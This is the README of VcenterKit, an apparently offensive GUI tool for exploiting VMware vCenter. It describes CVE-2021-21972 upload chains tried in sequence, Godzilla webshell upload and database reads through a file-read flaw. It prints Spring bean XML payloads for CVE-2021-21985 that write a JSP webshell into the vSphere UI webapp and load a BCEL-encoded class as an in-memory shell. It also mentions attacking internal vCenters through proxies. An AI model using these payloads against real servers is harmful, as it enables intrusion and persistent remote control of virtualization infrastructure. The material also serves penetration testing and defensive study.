推荐使用Python3.9
pip install -r requirements.txt
python VcenterKit.py
pyinstaller打包命令如下(根据自身环境自行修改):
C:\Users\Administrator\AppData\Local\Programs\Python\Python39\Scripts\pyinstaller.exe --paths C:\Users\Administrator\AppData\Local\Programs\Python\Python39\Lib\site-packages\PyQt5\Qt5\bin -F -i logo.ico -w VcenterKit.py
非常感谢outmansec师傅提出的针对Mac
的修改版脚本的pull request
。
pip install -r requirements_PyQt6.txt
python VcenterKit_PyQt6.py
直接输入url
即可进行信息搜集,如果存在本地文件读取的话,程序会自动读取数据库文件;有些网站是没有sdk
接口的,也就无法通过这种方式来查询信息,后续会研究其他的方法:
主要利用思维导图如下:
可以看到,并非所有情况下都能100%
成功上传文件的,因此这里我把这些利用链(除了写authorized_keys
)全部写在代码里面了,依次尝试。
这里放上之前测试利用搭建的环境的截图:
上传哥斯拉马:
需要注意的是,这里的RMI
和Command
只能二选一填写,目前rmi
由于测试环境的问题,还没有进行测试,可能会有问题,但是command
目前测试下来没什么问题,这里放上一张之前写的时候测试的截图:
需要注意的是,当前版本(v0.0.3
)的shell
上传和内存马打入模块还没实现。但是核心思想就是替换xml
:
以下参考:https://daidaitiehanhan.github.io/2022/04/18/vCenter2021几个漏洞及后渗透/#不出网利用
上传shell
的xml
:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.io.PrintWriter">
<constructor-arg>
<value>/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/41/0/h5ngc.war/resources/log2.jsp</value>
</constructor-arg>
</bean>
<bean id="is" class="java.lang.String">
<constructor-arg>
<value><![CDATA[<% out.println("ok"); %> ]]></value>
</constructor-arg>
<property name="whatever" value="#{ pb.println(is).close()}"/>
</bean>
</beans>
打内存马要用到的xml
:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="com.sun.org.apache.bcel.internal.util.ClassLoader">
</bean>
<bean id="is" class="java.lang.String">
<constructor-arg>
<value><![CDATA[$$BCEL$$...]]></value>
</constructor-arg>
<property name="whatever" value="#{ pb.loadClass(is).newInstance()}"/>
</bean>
</beans>
等后面有时间了写上,当然,你可以来写,然后提pr
,我看到会第一时间回复。
这里的shell name
可写可不写,不写的话就是自动生成6
位的名字。
测试截图如下:
本来是想把这些脚本集成到工具里面的,但是转念一想,没必要,直接弄成点按钮生成脚本到本地这种形式就可以了,这样直接一个工具走天下。
这里我放上去了一些打vcenter的时候常用的命令、常看的文章。
因为vcenter
大多数位于内网,因此都是proxifer
挂代理打,也就不怎么需要程序本身加个代理功能,我也懒得写了。
长期维护!本工具会和未来出的一系列工具,例如后面会开始写的ExchangeKit
一样,都是我长期维护的项目,和之前的Serein
( https://github.com/W01fh4cker/Serein )不一样(那个时候代码水平不行,加上tkinter
做图形化太难受了,就不想维护了)。
类似的问题,直接提交issues
( https://github.com/W01fh4cker/VcenterKit/issues ),描述清楚相关环境,和具体细节,我看到之后会在当天内回复,一般20分钟内就会回复(因为我的电子邮件可以实时收到消息)。
如果有代码能力的话,欢迎提交pull request
。
没问题,提交pull request
,贡献代码。
Akatsuki
师傅( https://github.com/Schira4396 )写的VcenterKiller
是我非常喜欢的一个利用工具,我的VcenterKit
与其定位并不相同,我这个是用于本地挂代理测试内网或者外网的vcenter
漏洞,并且由于方便而弄了个pyqt5
做图形化,这直接导致打包后的exe
体积非常非常大;而VcenterKiller
则是用go
语言写的一款小巧的利用工具,可以直接传至对方服务器运行,也可以本地运行,可以跨平台,非常的方便。
对于CVE-2021-21972
这个漏洞而言,本工具可以自定义shell
的名字,并且自动尝试数种利用链,用起来还是很舒服的,哈哈。
工具只是辅助,写工具的过程是了解漏洞的很好的方式,从中获得经验,足矣。
- 研究
CVE-2021-21985
的上传shell
和打内存马的方式 - 你们提建议